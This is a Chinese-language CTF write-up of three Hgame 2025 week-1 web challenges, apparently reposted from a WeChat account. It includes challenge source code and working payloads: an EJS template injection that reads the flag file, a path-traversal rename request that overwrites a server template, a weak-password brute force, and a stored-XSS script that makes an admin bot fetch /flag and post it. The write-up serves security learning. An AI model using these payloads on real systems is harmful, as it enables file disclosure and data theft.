web1
打开url是一个游戏,直接打开burp抓包查看js文件:http://node1.hgame.vidar.club:30972/static/script/index.js
发现秘文
here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
base64解密
栅栏解密拿到flag
解密结果为:hgame{u_4re_pacman_m4ster}
web2
题目附件给了一个js文件
const express = require('express');const multer = require('multer');const fs = require('fs');const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));app.use(express.json());const storage = multer.diskStorage({ destination: (req, file, cb) => { const uploadDir = 'uploads'; if (!fs.existsSync(uploadDir)) { fs.mkdirSync(uploadDir); } cb(null, uploadDir); }, filename: (req, file, cb) => { cb(null, file.originalname); }});const upload = multer({ storage: storage, fileFilter: (_, file, cb) => { try { if (!file.originalname) { return cb(new Error('无效的文件名'), false); } cb(null, true); } catch (err) { cb(new Error('文件处理错误'), false); } }});app.get('/', (req, res) => { const uploadsDir = path.join(__dirname, 'uploads'); if (!fs.existsSync(uploadsDir)) { fs.mkdirSync(uploadsDir); } fs.readdir(uploadsDir, (err, files) => { if (err) { return res.status(500).render('mortis', { files: [] }); } res.render('mortis', { files: files }); });});app.post('/upload', (req, res) => { upload.single('file')(req, res, (err) => { if (err) { return res.status(400).json({ error: err.message }); } if (!req.file) { return res.status(400).json({ error: '没有选择文件' }); } res.json({ message: '文件上传成功', filename: req.file.filename }); });});app.post('/rename', (req, res) => { const { oldName, newName } = req.body; const oldPath = path.join(__dirname, 'uploads', oldName); const newPath = path.join(__dirname, 'uploads', newName); if (!oldName || !newName) { return res.status(400).json({ error: ' ' }); } fs.rename(oldPath, newPath, (err) => { if (err) { return res.status(500).json({ error: ' ' + err.message }); } res.json({ message: ' ' }); });});app.listen(port, () => { console.log(`服务器运行在 http://localhost:${port}`);});
几个重要函数
文件上传
app.post('/upload', (req, res) => { upload.single('file')(req, res, (err) => { if (err) { return res.status(400).json({ error: err.message }); } if (!req.file) { return res.status(400).json({ error: '没有选择文件' }); } res.json({ message: '文件上传成功', filename: req.file.filename }); });});
文件重命名
app.post('/rename', (req, res) => { const { oldName, newName } = req.body; const oldPath = path.join(__dirname, 'uploads', oldName); const newPath = path.join(__dirname, 'uploads', newName); if (!oldName || !newName) { return res.status(400).json({ error: ' ' }); } fs.rename(oldPath, newPath, (err) => { if (err) { return res.status(500).json({ error: ' ' + err.message }); } res.json({ message: ' ' }); });});
app.get('/', (req, res) => { const uploadsDir = path.join(__dirname, 'uploads'); if (!fs.existsSync(uploadsDir)) { fs.mkdirSync(uploadsDir); } fs.readdir(uploadsDir, (err, files) => { if (err) { return res.status(500).render('mortis', { files: [] }); } res.render('mortis', { files: files }); });});
最关键的是
res.render('mortis', { files: files }); // 成功res.status(500).render('mortis', { files: [] }); // 失败
将文件列表数据传递给名为 mortis 的模板(如EJS、Pug等),动态生成HTML页面。 无论读取目录是否成功,最终都会渲染页面(失败时展示空列表)。
那么这里就涉及到ejs 模板注入。首先上传一个文件内容为模版注入的poc
<%= process.env.FLAG ll require('fs').readFilesync('/flag', 'utf8')%>
访问rename路由
POST /rename HTTP/1.1Host: node1.hgame.vidar.club:31428Cache-Control: max-age=0Accept-Language: zh-CNUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://node1.hgame.vidar.club:31428/Accept-Encoding: gzip, deflate, brIf-None-Match: W/"1982-tCwmIaRF/b9+ySE9QjHMqwNikmo"Connection: keep-aliveContent-Type: application/jsonContent-Length: 51{"oldName":"1.txt","newName":"../views/mortis.ejs"}
访问跟路由
那么为什么要渲染mortis.ejs呢?因为app.js里面有段代码。
所以最后就会在view/目录下生成mortis.ejs。其实也可以问问ai
web3
访问连接
使用shallot为账户名,尝试密码爆破。密码为888888
登录之后来到留言板,是存在xss漏洞的。
<script>alert(1)</script>
正常思路应该是使用poc获取admin的cookie。
但是这里提示,很明显并不能打到admin的cookie。
欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!
<script> fetch('/flag') .then(res => res.text()) .then(flag => { fetch('/', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: "comment=" + flag }) })</script>
在留言框中输入上面payload提交,然后访问/admin让admin去查看留言板。
http://node1.hgame.vidar.club:32429/admin
最后访问路由/就可以拿到flag。
这道题其实给了一个附件
package mainimport ( "context" "fmt" "github.com/chromedp/chromedp" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "log" "net/http" "sync" "time")var ( store = sessions.NewCookieStore([]byte("fake_key")) users = map[string]string{ "shallot": "fake_password", "admin": "fake_password"} comments []string flag = "FLAG{this_is_a_fake_flag}" lock sync.Mutex)func loginHandler(c *gin.Context) { username := c.PostForm("username") password := c.PostForm("password") if storedPassword, ok := users[username]; ok && storedPassword == password { session, _ := store.Get(c.Request, "session") session.Values["username"] = username session.Options = &sessions.Options{ Path: "/", MaxAge: 3600, HttpOnly: false, Secure: false, } session.Save(c.Request, c.Writer) c.String(http.StatusOK, "success") return } log.Printf("Login failed for user: %sn", username) c.String(http.StatusUnauthorized, "error")}func logoutHandler(c *gin.Context) { session, _ := store.Get(c.Request, "session") delete(session.Values, "username") session.Save(c.Request, c.Writer) c.Redirect(http.StatusFound, "/login")}func indexHandler(c *gin.Context) { session, _ := store.Get(c.Request, "session") username, ok := session.Values["username"].(string) if !ok { log.Println("User not logged in, redirecting to login") c.Redirect(http.StatusFound, "/login") return } if c.Request.Method == http.MethodPost { comment := c.PostForm("comment") log.Printf("New comment submitted: %sn", comment) comments = append(comments, comment) } htmlContent := fmt.Sprintf(`<html> <body> <h1>留言板</h1> <p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p> <form method="post"> <textarea name="comment" required></textarea><br> <input type="submit" value="提交评论"> </form> <h3>留言:</h3> <ul>`, username) for _, comment := range comments { htmlContent += "<li>" + comment + "</li>" } htmlContent += `</ul> <p><a href="/logout">退出</a></p> </body> </html>` c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))}func adminHandler(c *gin.Context) { htmlContent := `<html><body> <p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p> </body></html>` c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent)) //无头浏览器模拟登录admin,并以admin身份访问/路由 go func() { lock.Lock() defer lock.Unlock() ctx, cancel := chromedp.NewContext(context.Background()) defer cancel() ctx, _ = context.WithTimeout(ctx, 20*time.Second) if err := chromedp.Run(ctx, myTasks()); err != nil { log.Println("Chromedp error:", err) return } }()}// 无头浏览器操作func myTasks() chromedp.Tasks { return chromedp.Tasks{ chromedp.Navigate("/login"), chromedp.WaitVisible(`input[name="username"]`), chromedp.SendKeys(`input[name="username"]`, "admin"), chromedp.SendKeys(`input[name="password"]`, "fake_password"), chromedp.Click(`input[type="submit"]`), chromedp.Navigate("/"), chromedp.Sleep(5 * time.Second), }}func flagHandler(c *gin.Context) { log.Println("Handling flag request") session, err := store.Get(c.Request, "session") if err != nil { c.String(http.StatusInternalServerError, "无法获取会话") return } username, ok := session.Values["username"].(string) if !ok || username != "admin" { c.String(http.StatusForbidden, "只有admin才可以访问哦") return } log.Println("Admin accessed the flag") c.String(http.StatusOK, flag)}func main() { r := gin.Default() r.GET("/login", loginHandler) r.POST("/login", loginHandler) r.GET("/logout", logoutHandler) r.GET("/", indexHandler) r.GET("/admin", adminHandler) r.GET("/flag", flagHandler) log.Println("Server started at :8888") log.Fatal(r.Run(":8888"))}
做题其实要结合源码进行。
原文始发于微信公众号(土拨鼠的安全屋):2025HgameCTF-week1-web
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论